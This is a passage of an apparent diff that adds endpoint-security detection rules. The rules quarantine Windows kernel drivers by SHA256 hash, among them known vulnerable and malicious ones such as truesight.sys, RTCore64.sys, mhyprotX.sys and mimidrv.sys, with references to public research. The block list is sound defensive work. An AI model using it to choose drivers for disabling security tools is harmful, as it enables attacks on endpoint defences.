+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.834437Z",
+  "creation_date": "2026-03-23T11:45:30.834440Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.834448Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e9f231567cd2ce00d26989d543e91cb869e8b8cf6c215b94cb917f93820c3138",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c3c24a91-c114-5993-9d6d-02165bdfefe3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821726Z",
+  "creation_date": "2026-03-23T11:45:31.821728Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821733Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9ad43b87715587451f01936741b75678a2b35278a2864d72c83fcf2e48e68f7a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c3c47005-de1e-5b12-920d-3de043e9d250",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.498837Z",
+  "creation_date": "2026-03-23T11:45:31.498840Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.498848Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4a9cca94ebc65c44bcf1a89b9936d2347e18f9f9ce3d40a3c71ae18c49e9b600",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c3c92310-8cd2-5a0c-8a03-1a2596d87198",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.499923Z",
+  "creation_date": "2026-03-23T11:45:31.499926Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.499935Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "27ad30aeba918e35b292c839c3f844cd8b1d6b2ec4d38c77478a7e3a9bd23a95",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c3d61bd3-ab38-584b-81c8-68fd93ecab0f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.603922Z",
+  "creation_date": "2026-03-23T11:45:29.603925Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.603931Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b1ad1af005bd78e1ea1d1eef5041c2bdb46f60a9baa60f4b7be21f9603f99df0",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c3e09ec0-ac09-51b7-a364-0ec916a482fa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155066Z",
+  "creation_date": "2026-03-23T11:45:31.155068Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155073Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ead5ac6e9b61c92473a152c843a43a028b26485b6287244045fe5c78d34bb832",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c3e810ca-87a4-5f94-ac0d-6ae126ccfbb3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820390Z",
+  "creation_date": "2026-03-23T11:45:30.820392Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820398Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3c0a36990f7eef89b2d5f454b6452b6df1304609903f31f475502e4050241dd8",
+  "comment": "Vulnerable Kernel Driver (aka rtport.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c3e81b63-118e-5135-b111-c99a68336455",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826667Z",
+  "creation_date": "2026-03-23T11:45:31.826669Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826674Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4da389eed69a4292233f7ea4929fb1caef53326e36dfb9bb97f4aecac6b2ed6a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c3fe41d5-1c84-5f31-8360-83caf045fda0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826402Z",
+  "creation_date": "2026-03-23T11:45:31.826404Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826409Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5e1c198d16341274b2a4106a7e798856889f1402a41503a763e00cebfcf1c05a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c40ebfd8-61a3-5496-9914-c1e1a99f63d9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.477162Z",
+  "creation_date": "2026-03-23T11:45:31.477165Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.477174Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "402ebccaad7f4e5c2df2063d2ba33beb15f09c7654bb092e5a2bb93b0660d792",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c417fc94-d1f1-5e75-9de9-2f254abf01b6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144277Z",
+  "creation_date": "2026-03-23T11:45:32.144280Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144289Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4a61add64bbb08af8576aac592fdafe7114b940878babb3ae90bfde26f315187",
+  "comment": "Malicious Kernel Driver (aka idmtdi.sys) [https://www.loldrivers.io/drivers/c2e98102-2055-48f0-9449-3e7a7f2c0ffe/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c41f1112-97b7-5b6c-bfdf-154fd3069c8e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822033Z",
+  "creation_date": "2026-03-23T11:45:31.822036Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822044Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ea3b808d4eb63d842cfd750ab5d7f7cca460b4fc63b43071af6384a4f1a40516",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c44901e4-5be5-53ad-8bcf-3e62df6c08d4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827053Z",
+  "creation_date": "2026-03-23T11:45:30.827055Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827060Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3ab90e068d05da1a25d846ce1556bf26f62df1afb62ee65096c74009a0abc4db",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c44cb6de-e19e-59d5-973c-0243ce2ce4eb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823986Z",
+  "creation_date": "2026-03-23T11:45:30.823988Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823994Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c0b5d5d75115c273df34b4f496d8a1c401b94c850d9fe0bb8d82d9777d141759",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c45bd53d-9c85-5474-824a-95127c748ef5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495566Z",
+  "creation_date": "2026-03-23T11:45:31.495568Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495574Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "61161913cb2ceb5b103e0dbd79de796a09695f43d8f12d15a674ac88b46a3b75",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c460552c-425e-5fc9-a863-3814a04b6d11",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148347Z",
+  "creation_date": "2026-03-23T11:45:31.148349Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148354Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "88189a4c2b9102a0e80c127cb8441f4034273c91420075edc666622fdbde9940",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c463bb53-8dd8-516e-a5c3-73911e30bd78",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.475273Z",
+  "creation_date": "2026-03-23T11:45:30.475276Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.475285Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3db84cbf299307b1d3500b50355cf35f63d69c6c56d117335fbef7c84ddcc09b",
+  "comment": "Malicious Kernel Driver (aka e29f6311ae87542b3d693c1f38e4e3ad.sys) [https://www.loldrivers.io/drivers/c00f818c-1c90-4b47-bc29-fb949f6efb65/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c468444b-7cc0-51e9-ac85-e4c6a5b37681",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607883Z",
+  "creation_date": "2026-03-23T11:45:29.607885Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607890Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e50b25d94c1771937b2f632e10eea875ac6b19c57da703d52e23ad2b6299f0ae",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c46b4bc4-5dfe-527b-91d4-dffe3553a51b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828494Z",
+  "creation_date": "2026-03-23T11:45:31.828496Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828502Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2a1808733154e92fbe1ca580ef6b886a52e1720461b0b537b5bbe601e07ae55b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c47402b7-6b03-5296-b5b3-89472fde6735",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611926Z",
+  "creation_date": "2026-03-23T11:45:29.611928Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611933Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ad2477632b9b07588cfe0e692f244c05fa4202975c1fe91dd3b90fa911ac6058",
+  "comment": "Genshin Impact vulnerable driver (aka mhyprotX.sys) [https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c47e7ef3-4951-5449-b3ee-6713d2678478",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973602Z",
+  "creation_date": "2026-03-23T11:45:29.973604Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973610Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "478d855b648ef4501d3b08b3b10e94076ac67546b0ce86b454324f1bf9a78aa0",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c48d2d05-059f-5645-8640-0bf2c53f499a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.469037Z",
+  "creation_date": "2026-03-23T11:45:30.469041Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.469050Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6fe18adf87e3330799361d49e811c7a35a497423833ad83573588b7878df286c",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c4a1860d-0abe-5d07-baa9-0a0cf1e38252",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.157839Z",
+  "creation_date": "2026-03-23T11:45:31.157864Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
